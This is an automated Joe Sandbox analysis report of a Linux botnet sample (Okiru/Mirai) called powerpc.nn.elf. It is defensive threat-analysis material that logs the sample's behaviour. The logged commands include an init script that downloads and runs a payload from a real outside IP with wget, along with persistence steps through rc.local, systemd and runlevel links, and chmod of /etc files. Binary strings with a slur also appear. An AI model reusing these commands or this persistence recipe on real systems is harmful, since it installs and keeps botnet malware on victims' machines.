Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
powerpc.nn.elf

Overview

General Information

Sample name:powerpc.nn.elf
Analysis ID:1580223
MD5:8d61a53c4a55c321204fc33d83e11ef6
SHA1:c923fd93e615fc1f2628dc81b537496a47dc72aa
SHA256:a403c2dcbaa06bc3ae140ba54656d2312dd30b07f53c44c75d31eaf17b48b4c6
Tags:elfuser-abuse_ch
Infos:

Detection

Okiru
Score:80
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1580223
Start date and time:2024-12-24 04:29:18 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 39s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:powerpc.nn.elf
Detection:MAL
Classification:mal80.spre.troj.evad.linELF@0/10@0/0

Warnings

  • VT rate limit hit for: /etc/init.d/powerpc.nn.elf

Runtime Messages

Command:/tmp/powerpc.nn.elf
PID:5427
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
The Gorilla Botnet Cats Came After You!
Standard Error:

Process Tree

  • system is lnxubuntu20
  • powerpc.nn.elf (PID: 5427, Parent: 5349, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/powerpc.nn.elf
    • sh (PID: 5442, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"
      • sh New Fork (PID: 5456, Parent: 5442)
      • systemctl (PID: 5456, Parent: 5442, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service
    • sh (PID: 5472, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
      • sh New Fork (PID: 5474, Parent: 5472)
      • chmod (PID: 5474, Parent: 5472, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/system
    • sh (PID: 5475, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
      • sh New Fork (PID: 5477, Parent: 5475)
      • ln (PID: 5477, Parent: 5475, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/system /etc/rcS.d/S99system
    • sh (PID: 5478, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/powerpc.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting powerpc.nn.elf'\n /tmp/powerpc.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping powerpc.nn.elf'\n killall powerpc.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/powerpc.nn.elf"
    • sh (PID: 5480, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/powerpc.nn.elf >/dev/null 2>&1"
      • sh New Fork (PID: 5482, Parent: 5480)
      • chmod (PID: 5482, Parent: 5480, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/powerpc.nn.elf
    • sh (PID: 5483, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
      • sh New Fork (PID: 5485, Parent: 5483)
      • mkdir (PID: 5485, Parent: 5483, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d
    • sh (PID: 5486, Parent: 5427, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/powerpc.nn.elf /etc/rc.d/S99powerpc.nn.elf >/dev/null 2>&1"
      • sh New Fork (PID: 5491, Parent: 5486)
      • ln (PID: 5491, Parent: 5486, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/powerpc.nn.elf /etc/rc.d/S99powerpc.nn.elf
  • udisksd New Fork (PID: 5440, Parent: 802)
  • dumpe2fs (PID: 5440, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • systemd New Fork (PID: 5468, Parent: 5466)
  • snapd-env-generator (PID: 5468, Parent: 5466, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator
  • udisksd New Fork (PID: 5504, Parent: 802)
  • dumpe2fs (PID: 5504, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • udisksd New Fork (PID: 5539, Parent: 802)
  • dumpe2fs (PID: 5539, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • cleanup

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
powerpc.nn.elfJoeSecurity_OkiruYara detected OkiruJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5427.1.00007f3150001000.00007f3150016000.r-x.sdmpJoeSecurity_OkiruYara detected OkiruJoe Security
      Process Memory Space: powerpc.nn.elf PID: 5427JoeSecurity_OkiruYara detected OkiruJoe Security

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Antivirus / Scanner detection for submitted sample
        Source: powerpc.nn.elfAvira: detected
        Multi AV Scanner detection for submitted file
        Source: powerpc.nn.elfReversingLabs: Detection: 26%
        Source: powerpc.nn.elfString: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/...%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginnfstftpftpmalloc[start_pid_hopping] Failed to clone: %s
        Source: global trafficTCP traffic: 192.168.2.13:44546 -> 94.156.227.234:38242
        Source: /tmp/powerpc.nn.elf (PID: 5427)Socket: 0.0.0.0:38242Jump to behavior
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: powerpc.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, powerpc.nn.elf.30.dr, custom.service.12.drString found in binary or memory: http://94.156.227.233/
        Source: powerpc.nn.elfString found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
        Source: Initial sampleString containing 'busybox' found: /bin/busybox
        Source: Initial sampleString containing 'busybox' found: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/...%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/g
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: classification engineClassification label: mal80.spre.troj.evad.linELF@0/10@0/0

        Persistence and Installation Behavior

        barindex
        Sample tries to persist itself using /etc/profile
        Source: /tmp/powerpc.nn.elf (PID: 5427)File: /etc/profileJump to behavior
        Sample tries to persist itself using System V runlevels
        Source: /tmp/powerpc.nn.elf (PID: 5427)File: /etc/rc.localJump to behavior
        Source: /usr/bin/ln (PID: 5477)File: /etc/rcS.d/S99system -> /etc/init.d/systemJump to behavior
        Source: /usr/bin/ln (PID: 5491)File: /etc/rc.d/S99powerpc.nn.elf -> /etc/init.d/powerpc.nn.elfJump to behavior
        Sample tries to set files in /etc globally writable
        Source: /tmp/powerpc.nn.elf (PID: 5427)File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5474)File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5482)File: /etc/init.d/powerpc.nn.elf (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5580/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5570/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5581/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5571/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5582/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5572/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5573/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5266/cmdlineJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5574/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5575/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5576/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5577/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5578/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/802/cmdlineJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5568/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5579/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5569/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5494)File opened: /proc/5539/statusJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5442)Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"Jump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5472)Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"Jump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5475)Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"Jump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5478)Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/powerpc.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting powerpc.nn.elf'\n /tmp/powerpc.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping powerpc.nn.elf'\n killall powerpc.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/powerpc.nn.elf"Jump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5480)Shell command executed: sh -c "chmod +x /etc/init.d/powerpc.nn.elf >/dev/null 2>&1"Jump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5483)Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"Jump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5486)Shell command executed: sh -c "ln -s /etc/init.d/powerpc.nn.elf /etc/rc.d/S99powerpc.nn.elf >/dev/null 2>&1"Jump to behavior
        Source: /bin/sh (PID: 5474)Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/systemJump to behavior
        Source: /bin/sh (PID: 5482)Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/powerpc.nn.elfJump to behavior
        Source: /bin/sh (PID: 5485)Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.dJump to behavior
        Source: /bin/sh (PID: 5456)Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.serviceJump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5427)File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5474)File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5482)File: /etc/init.d/powerpc.nn.elf (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /tmp/powerpc.nn.elf (PID: 5427)Writes shell script file to disk with an unusual file extension: /etc/init.d/systemJump to dropped file
        Source: /tmp/powerpc.nn.elf (PID: 5427)Writes shell script file to disk with an unusual file extension: /etc/rc.localJump to dropped file
        Source: /bin/sh (PID: 5478)Writes shell script file to disk with an unusual file extension: /etc/init.d/powerpc.nn.elfJump to dropped file

        Hooking and other Techniques for Hiding and Protection

        barindex
        Drops files in suspicious directories
        Source: /tmp/powerpc.nn.elf (PID: 5427)File: /etc/init.d/systemJump to dropped file
        Source: /bin/sh (PID: 5478)File: /etc/init.d/powerpc.nn.elfJump to dropped file
        Source: /tmp/powerpc.nn.elf (PID: 5427)Queries kernel information via 'uname': Jump to behavior
        Source: powerpc.nn.elf, 5427.1.000055d5cd54a000.000055d5cd5fa000.rw-.sdmpBinary or memory string: !/etc/qemu-binfmt/ppc1/usr/lib/udisks2/udisksd1/proc/12/exeU
        Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmpBinary or memory string: U/tmp/qemu-open.nxFfay\
        Source: powerpc.nn.elf, 5427.1.000055d5cd54a000.000055d5cd5fa000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
        Source: powerpc.nn.elf, 5427.1.000055d5cd54a000.000055d5cd5fa000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/ppc
        Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmpBinary or memory string: /tmp/qemu-open.nxFfay
        Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmpBinary or memory string: /usr/bin/qemu-ppc
        Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmpBinary or memory string: %s/qemu-op
        Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-ppc/tmp/powerpc.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/powerpc.nn.elf
        Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmpBinary or memory string: MPDIR%s/qemu-op
        Source: powerpc.nn.elf, 5427.1.000055d5cd54a000.000055d5cd5fa000.rw-.sdmpBinary or memory string: !/proc/1563/exe0!/proc/727/exe1/proc/3375/exe/ppc/ro10!/usr/lib/xorg/Xorg!/usr/bin/vmtoolsd1

        Stealing of Sensitive Information

        barindex
        Yara detected Okiru
        Source: Yara matchFile source: powerpc.nn.elf, type: SAMPLE
        Source: Yara matchFile source: 5427.1.00007f3150001000.00007f3150016000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: powerpc.nn.elf PID: 5427, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Yara detected Okiru
        Source: Yara matchFile source: powerpc.nn.elf, type: SAMPLE
        Source: Yara matchFile source: 5427.1.00007f3150001000.00007f3150016000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: powerpc.nn.elf PID: 5427, type: MEMORYSTR

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information2
        Scripting        		Valid AccountsWindows Management Instrumentation1
        Unix Shell Configuration Modification        		1
        Unix Shell Configuration Modification        		1
        Masquerading        		1
        OS Credential Dumping        		11
        Security Software Discovery        		Remote ServicesData from Local System1
        Non-Standard Port        		Exfiltration Over Other Network Medium1
        Data Manipulation
        CredentialsDomainsDefault AccountsScheduled Task/Job1
        Systemd Service        		1
        Systemd Service        		2
        File and Directory Permissions Modification        		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAt2
        Scripting        		Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1580223 Sample: powerpc.nn.elf Startdate: 24/12/2024 Architecture: LINUX Score: 80 51 94.156.227.234, 38242, 44546, 44548 NETIXBG Bulgaria 2->51 53 Antivirus / Scanner detection for submitted sample 2->53 55 Multi AV Scanner detection for submitted file 2->55 57 Yara detected Okiru 2->57 8 powerpc.nn.elf 2->8         started        12 udisksd dumpe2fs 2->12         started        14 udisksd dumpe2fs 2->14         started        16 2 other processes 2->16 signatures3 process4 file5 43 /etc/rc.local, POSIX 8->43 dropped 45 /etc/profile, ASCII 8->45 dropped 47 /etc/init.d/system, POSIX 8->47 dropped 59 Sample tries to set files in /etc globally writable 8->59 61 Sample tries to persist itself using /etc/profile 8->61 63 Drops files in suspicious directories 8->63 65 Sample tries to persist itself using System V runlevels 8->65 18 powerpc.nn.elf sh 8->18         started        20 powerpc.nn.elf sh 8->20         started        22 powerpc.nn.elf sh 8->22         started        24 5 other processes 8->24 signatures6 process7 file8 28 sh chmod 18->28         started        31 sh ln 20->31         started        33 sh chmod 22->33         started        49 /etc/init.d/powerpc.nn.elf, POSIX 24->49 dropped 67 Drops files in suspicious directories 24->67 35 sh ln 24->35         started        37 sh systemctl 24->37         started        39 sh mkdir 24->39         started        41 powerpc.nn.elf 24->41         started        signatures9 process10 signatures11 69 Sample tries to set files in /etc globally writable 28->69 71 Sample tries to persist itself using System V runlevels 31->71

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        powerpc.nn.elf26%ReversingLabsLinux.Backdoor.Mirai
        powerpc.nn.elf100%AviraEXP/ELF.Mirai.W

        Dropped Files

        SourceDetectionScannerLabelLink
        /etc/rc.local0%ReversingLabs

        Domains

        ⊘No Antivirus matches

        URLs

        ⊘No Antivirus matches

        Domains and IPs

        Contacted Domains

        ⊘No contacted domains info

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/spowerpc.nn.elffalse
          		high
          http://94.156.227.233/powerpc.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, powerpc.nn.elf.30.dr, custom.service.12.drfalse
            		high

            World Map of Contacted IPs

            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs

            Public IPs

            IPDomainCountryFlagASNASN NameMalicious
            94.156.227.234
            		unknownBulgaria
            		57463NETIXBGfalse

            Joe Sandbox View / Context

            IPs

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            94.156.227.234x86_32.nn.elfGet hashmaliciousOkiruBrowse
              arm7.nn-20241224-0051.elfGet hashmaliciousMirai, OkiruBrowse
                sparc.nn.elfGet hashmaliciousOkiruBrowse
                  arm5.nn-20241224-0050.elfGet hashmaliciousOkiruBrowse
                    arm.nn-20241224-0050.elfGet hashmaliciousOkiruBrowse
                      mipsel.nn.elfGet hashmaliciousOkiruBrowse
                        powerpc.nn.elfGet hashmaliciousOkiruBrowse
                          arm7.nn.elfGet hashmaliciousMirai, OkiruBrowse
                            sh4.nn.elfGet hashmaliciousOkiruBrowse
                              arm5.nn.elfGet hashmaliciousOkiruBrowse

                                Domains

                                ⊘No context

                                ASNs

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                NETIXBGx86_32.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                arm7.nn-20241224-0051.elfGet hashmaliciousMirai, OkiruBrowse
                                • 94.156.227.234
                                sparc.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                arm5.nn-20241224-0050.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                arm.nn-20241224-0050.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                arm7.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                • 94.156.227.234
                                sh4.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234
                                arm5.nn.elfGet hashmaliciousOkiruBrowse
                                • 94.156.227.234

                                JA3 Fingerprints

                                ⊘No context

                                Dropped Files

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                /etc/init.d/powerpc.nn.elfpowerpc.nn.elfGet hashmaliciousOkiruBrowse
                                  powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                    powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                      powerpc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                        powerpc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                          powerpc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                            /etc/init.d/systempowerpc.nn.elfGet hashmaliciousOkiruBrowse
                                              powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                                powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                                  powerpc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                    powerpc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                      powerpc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                        powerpc.nn.elfGet hashmaliciousMirai, OkiruBrowse

                                                          Created / dropped Files

                                                          /boot/bootcmd

                                                          Download File
                                                          Process:/tmp/powerpc.nn.elf
